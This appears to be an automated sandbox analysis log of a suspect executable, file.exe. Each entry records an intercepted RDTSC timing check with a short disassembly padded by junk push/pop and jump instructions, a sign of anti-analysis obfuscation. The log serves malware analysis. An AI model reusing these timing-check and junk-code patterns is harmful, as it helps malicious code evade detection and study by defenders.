Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723A2B second address: 723A30 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723A30 second address: 723A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jl 00007F8C5451FBB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723BEF second address: 723C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5452242Ch 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723C04 second address: 723C25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBBAh 0x00000007 pushad 0x00000008 jmp 00007F8C5451FBC2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723D69 second address: 723D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723D74 second address: 723DA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F8C5451FBC4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E935 second address: 72E93C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D69B second address: 72D69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D69F second address: 72D6A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D6A3 second address: 72D6B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8C5451FBB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D6B3 second address: 72D6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D6B9 second address: 72D6C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DDA4 second address: 72DDA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DDA9 second address: 72DDB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jg 00007F8C5451FBBEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DF12 second address: 72DF17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DF17 second address: 72DF45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC7h 0x00000007 pushad 0x00000008 ja 00007F8C5451FBB6h 0x0000000e jmp 00007F8C5451FBBCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DF45 second address: 72DF4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E06E second address: 72E072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E072 second address: 72E095 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8C54522426h 0x00000008 jmp 00007F8C54522436h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E095 second address: 72E0A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8C5451FBB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E0A1 second address: 72E0A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E0A6 second address: 72E0C1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8C5451FBB8h 0x00000008 jns 00007F8C5451FBBAh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E0C1 second address: 72E0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E0C5 second address: 72E0F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC7h 0x00000007 jmp 00007F8C5451FBC1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E0F5 second address: 72E0FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E0FB second address: 72E0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E0FF second address: 72E103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E103 second address: 72E109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E35D second address: 72E366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E65A second address: 72E65E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4EF2 second address: 6C4EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4EF6 second address: 6C4F65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8C5451FBC6h 0x0000000c jmp 00007F8C5451FBC9h 0x00000011 ja 00007F8C5451FBB6h 0x00000017 popad 0x00000018 pop edx 0x00000019 push eax 0x0000001a pushad 0x0000001b jmp 00007F8C5451FBBEh 0x00000020 jmp 00007F8C5451FBBCh 0x00000025 jmp 00007F8C5451FBBFh 0x0000002a popad 0x0000002b push eax 0x0000002c pushad 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733183 second address: 73318C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73318C second address: 7331A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8C5451FBB6h 0x0000000a popad 0x0000000b push edx 0x0000000c jmp 00007F8C5451FBBEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73333B second address: 73333F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73333F second address: 733362 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8C5451FBB6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8C5451FBC7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733362 second address: 733367 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7334BB second address: 7334F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F8C5451FBC0h 0x0000000a pop edx 0x0000000b push ebx 0x0000000c push edi 0x0000000d jmp 00007F8C5451FBC3h 0x00000012 js 00007F8C5451FBB6h 0x00000018 pop edi 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7334F0 second address: 7334F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733925 second address: 73392A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733AC1 second address: 733AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733AC7 second address: 733ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733ACB second address: 733B15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522435h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F8C5452242Ch 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 jmp 00007F8C5452242Ch 0x00000019 popad 0x0000001a pushad 0x0000001b jnl 00007F8C5452242Eh 0x00000021 push edi 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73411D second address: 734121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734121 second address: 734138 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F8C54522426h 0x00000009 jnc 00007F8C54522426h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734266 second address: 734282 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734282 second address: 73428B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73428B second address: 734294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5707 second address: 6E570B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E570B second address: 6E5717 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5717 second address: 6E571D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E571D second address: 6E5721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5721 second address: 6E5725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC7D3 second address: 6BC7D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC7D7 second address: 6BC7DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC7DD second address: 6BC7F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jg 00007F8C5451FBB6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732EC9 second address: 732ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704864 second address: 70487B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C5451FBC3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70487B second address: 704907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D2786h], ebx 0x0000000f jmp 00007F8C54522430h 0x00000014 lea eax, dword ptr [ebp+12484604h] 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F8C54522428h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 jnp 00007F8C54522434h 0x0000003a jmp 00007F8C5452242Eh 0x0000003f jnp 00007F8C54522428h 0x00000045 mov edx, ecx 0x00000047 nop 0x00000048 jmp 00007F8C54522434h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F8C54522430h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704907 second address: 6E4B95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a cld 0x0000000b call dword ptr [ebp+122D31F8h] 0x00000011 push edx 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704DD5 second address: 704DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704ECA second address: 704EEA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 2DAE31F9h 0x0000000f xor edi, dword ptr [ebp+122D31AEh] 0x00000015 push 27B973BEh 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704F69 second address: 704F79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C5452242Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705108 second address: 70510D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705349 second address: 70537D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C54522430h 0x00000008 jmp 00007F8C54522437h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70537D second address: 705383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705383 second address: 7053C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F8C54522426h 0x00000009 jnp 00007F8C54522426h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 pushad 0x00000014 mov ax, dx 0x00000017 popad 0x00000018 push 00000004h 0x0000001a mov edx, 5F45FD14h 0x0000001f nop 0x00000020 push eax 0x00000021 pushad 0x00000022 jns 00007F8C54522426h 0x00000028 push edx 0x00000029 pop edx 0x0000002a popad 0x0000002b pop eax 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F8C54522431h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7053C3 second address: 7053C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70578F second address: 7057E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F8C54522439h 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 popad 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F8C54522428h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov ecx, dword ptr [ebp+122D2DE0h] 0x00000033 push 0000001Eh 0x00000035 mov di, si 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7057E9 second address: 7057ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7057ED second address: 7057F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705ACD second address: 705AD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705BE7 second address: 6E56D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F8C54522428h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 pushad 0x00000022 mov bl, F4h 0x00000024 mov bl, 29h 0x00000026 popad 0x00000027 or dh, FFFFFF95h 0x0000002a lea eax, dword ptr [ebp+12484648h] 0x00000030 mov dh, 79h 0x00000032 push eax 0x00000033 push ebx 0x00000034 jp 00007F8C5452242Ch 0x0000003a pop ebx 0x0000003b mov dword ptr [esp], eax 0x0000003e jmp 00007F8C5452242Ah 0x00000043 lea eax, dword ptr [ebp+12484604h] 0x00000049 jnl 00007F8C5452242Dh 0x0000004f jbe 00007F8C54522427h 0x00000055 clc 0x00000056 nop 0x00000057 ja 00007F8C5452242Ah 0x0000005d push eax 0x0000005e pushad 0x0000005f jmp 00007F8C54522432h 0x00000064 jmp 00007F8C54522435h 0x00000069 popad 0x0000006a nop 0x0000006b jmp 00007F8C54522431h 0x00000070 call dword ptr [ebp+122D3253h] 0x00000076 jnl 00007F8C5452244Eh 0x0000007c push eax 0x0000007d push edx 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E56D0 second address: 6E56DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8C5451FBB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E56DA second address: 6E5707 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C54522434h 0x0000000b pushad 0x0000000c push edi 0x0000000d jbe 00007F8C54522426h 0x00000013 jns 00007F8C54522426h 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7387C7 second address: 738800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5451FBC4h 0x00000009 popad 0x0000000a pop esi 0x0000000b pushad 0x0000000c pushad 0x0000000d jc 00007F8C5451FBB6h 0x00000013 jmp 00007F8C5451FBBEh 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 pop eax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738C10 second address: 738C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73907F second address: 739089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739089 second address: 73908F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73908F second address: 73909A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73909A second address: 73909E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF122 second address: 6AF151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5451FBC0h 0x00000009 jmp 00007F8C5451FBC9h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF151 second address: 6AF172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8C54522438h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF172 second address: 6AF176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741AA1 second address: 741AA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741F97 second address: 741FC2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F8C5451FBC8h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749EEB second address: 749EF1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749EF1 second address: 749EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749EFA second address: 749F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8C54522426h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
